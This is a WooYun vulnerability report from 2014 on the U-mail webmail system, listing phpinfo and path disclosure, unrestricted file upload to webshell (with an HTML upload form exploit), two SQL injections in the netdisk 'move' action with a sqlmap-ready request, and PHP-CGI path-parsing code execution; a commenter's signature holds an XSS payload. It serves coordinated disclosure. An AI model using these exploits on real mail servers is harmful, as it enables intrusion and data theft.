当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(26) 关注此漏洞

缺陷编号: WooYun-2014-62257

漏洞标题: U-mail 最新版漏洞大阅兵(信息泄露,多个getshell,多处SQL注入漏洞,远程代码执行)

相关厂商: U-mail

漏洞作者: 路人甲

提交时间: 2014-05-27 12:38

公开时间: 2014-08-23 12:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-27: 细节已通知厂商并且等待厂商处理中
2014-05-30: 厂商已经确认,细节仅向厂商公开
2014-06-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-07-24: 细节向核心白帽子及相关领域专家公开
2014-08-03: 细节向普通白帽子公开
2014-08-13: 细节向实习白帽子公开
2014-08-23: 细节向公众公开

简要描述:

疯狗、 xsser finger求打雷

详细说明:

注:一个getshell重复

http://**.**.**.**/bugs/wooyun-2014-059954

疯狗、 xsser finger求打雷

1、 信息泄露 (phpinfo信息泄露)

http://**.**.**.**/webmail/client/mail/index.php?module=test&action=info

phpinfo()信息泄露

code 区域
其中源码如下:WorldClient\html\client\mail\module\info.php
if ( !defined( "PRELOAD_OK" ) )
{
exit( "error" );
}
require_once( LIB_PATH."Mailbox.php" );
require_once( LIB_PATH."Widget.php" );
$Mailbox = Mailbox::getinstance( );
$Widget = Widget::getinstance( );
$Domain = Domain::getinstance( );
$email = get_session( "email" );
$user_id = get_session( "user_id" );
$domain_id = get_session( "domain_id" );
phpinfo( );
?>



Exp: http://**.**.**.**/webmail/client/mail/index.php?module=test&action=info

官方测试截图如下:

5)4IS377`{(%C793DC[3FQ0.jpg







2、 信息泄露(phpinfo)

在根目录当中有info.php该文件….

地址为:http://**.**.**.**/webmail/info.php

$H}~ZB7%(Y0SA4WZR)D89OS.jpg









3、 网站物理路径信息泄露

http://**.**.**.**/webmail/customer/autoresp.php

http://**.**.**.**/webmail/client/mail/index.php?module=operate&action=attach-packdown

MN~~5D2%FE09}V`O]1TO723.jpg



(GF`HJIA`TC_G[)N(0@XM)F.jpg











4、 任意文件上传getshell

**.**.**.**/webmail/client/mail/index.php?module=operate&action=attach-upload

WorldClient\html\client\mail\module\o_attach.php中

code 区域
if ( ACTION == "attach-upload" )
{
if ( $_FILES )
{
$file_name = $_FILES['Filedata']['name'];
$file_type = $_FILES['Filedata']['type'];
$file_size = $_FILES['Filedata']['size'];
$file_source = $_FILES['Filedata']['tmp_name'];
$file_suffix = getfilenamesuffix( $file_name ); //取后缀名
$path_target = getusercachepath( );
do
{
$file_id = makerandomname( );
$file_target = $path_target.$file_id.".".$file_suffix;
} while ( file_exists( $file_target ) );
if ( !move_uploaded_file( $file_source, $file_target ) ) //未进行任何判断,直接写入了。。。。
{
dump_json( array(
"status" => 0,
"message" => el( "写入文件出错,请与管理员联系!", "" )
) );
}
$_SESSION[SESSION_ID]['attach_cache'][] = array(
"id" => $file_id,
"name" => $file_name,
"type" => "1",
"path" => $file_target,
"size" => $file_size
);
dump_json( array(
"status" => "1",
"filename" => $file_name,
"filesize" => $file_size,
"file_id" => $file_id
) );
}



在上传之后,他会返回地址,如

"file_id" => $file_id 其中就将上传之后的文件名给回显出来了。。

4C[XVJVT0@8{Q`_H8XHF`{V.jpg



我们访问下我们的马

4SFA9(ZSQG(67)S_4X6EGXD.jpg





Exp 如下:

code 区域
<form id="frmUpload" enctype="multipart/form-data"
action="http://**.**.**.**/webmail/client/mail/index.php?module=operate&action=attach-upload-batch" method="post">Upload a new file:<br>
<input type="file" name="Filedata" size="50"><br>
<input type="submit" value="Upload">









5、 任意文件上传getshell 之二

http://**.**.**.**/webmail/client/mail/index.php?module=operate&action=attach-upload-batch

其中只是多了个数组判断类型,也是同样方法getshell







6、 SQL注入漏洞一

**.**.**.**/webmail/client/netdisk/index.php?module=operate&action=move&fid=3&file=1

代码如下:

code 区域
$Netdisk->initTreeObject( $user_id, 0 );
if ( ACTION == "move" )
{
$file_ids = gss( $_GET['file'] ); //无过滤,直接进入了
$folder_ids = gss( $_GET['folder'] );
$folder_id = gss( $_GET['fid'] );
if ( !$folder_id )
{
dump_json( array( "status" => 0, "message" => "参数错误!" ) );
}
if ( $file_ids )
{
$where = "user_id='".$user_id."' AND file_id IN (".$file_ids.")"; //传进来了,产生SQL注入漏洞
$data = array(
"folder_id" => $folder_id
);
$result = $Netdisk->update_file( $data, $where, 0 );
if ( !$result )
{
dump_json( array( "status" => 0, "message" => "移动文件时发生错误,移动失败!" ) );
}
}



抓包,然后放sqlmap当中

code 区域
GET /webmail/client/netdisk/index.php?module=operate&action=move&fid=3&file=1 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=9c6ff50907e53333c9b81264c6ea0ef8
Connection: keep-alive



BXV%L(HPE6[4]E)4(63]L7S.jpg



下面是官方的数据库列表如下:

KF7U3CE{~}YW4)PNWUH(P8W.jpg









7、 SQL注入漏洞二

**.**.**.**/webmail/client/netdisk/index.php?module=operate&action=move&fid=3& folder=1

此次SQL注入参数为:folder

code 区域
if ( $folder_ids )
{
$where = "user_id='".$user_id."' AND folder_id IN (".$folder_ids.")"; //同理
$data = array(
"parent_id" => $folder_id
);
$result = $Netdisk->update_folder( $data, $where, 0 );
if ( !$result )
{
dump_json( array( "status" => 0, "message" => "移动文件夹时发生错误,移动失败!" ) );
}
}





同理SQL注入漏洞







8、 远程代码执行漏洞

由于该邮件系统采用的是php+mysql架构而成,而运行php的方式是采用了fast-cgi的方式,如图:

891@TE0)L4C[ZMWFB8WE[%B.jpg



采用该方式,PHP-CGI远程任意代码执行漏洞

其中任意文件可导致以php方式解析,类似于(nigx)

如http://**.**.**.**/1.jpg/1.php

X~`VS%3V`W1K3(R2YE3MP)S.jpg



只要上传任意一文件,都可导致代码执行。。。直接getshell



发了这么多,能打个雷么?























漏洞证明:

X~`VS%3V`W1K3(R2YE3MP)S.jpg



修复方案:

太多了,慢慢整

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-30 09:58

厂商回复:

CNVD确认并复现所述情况,由CNVD通过公开渠道联系软件生产厂商深圳市福洽科技有限公司技术支持通报处置。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-05-25 12:49 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    牛B,是前台么?

  2. 2014-05-25 12:51 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    0

    擦,这是谁?

登录后才能发表评论,请先 登录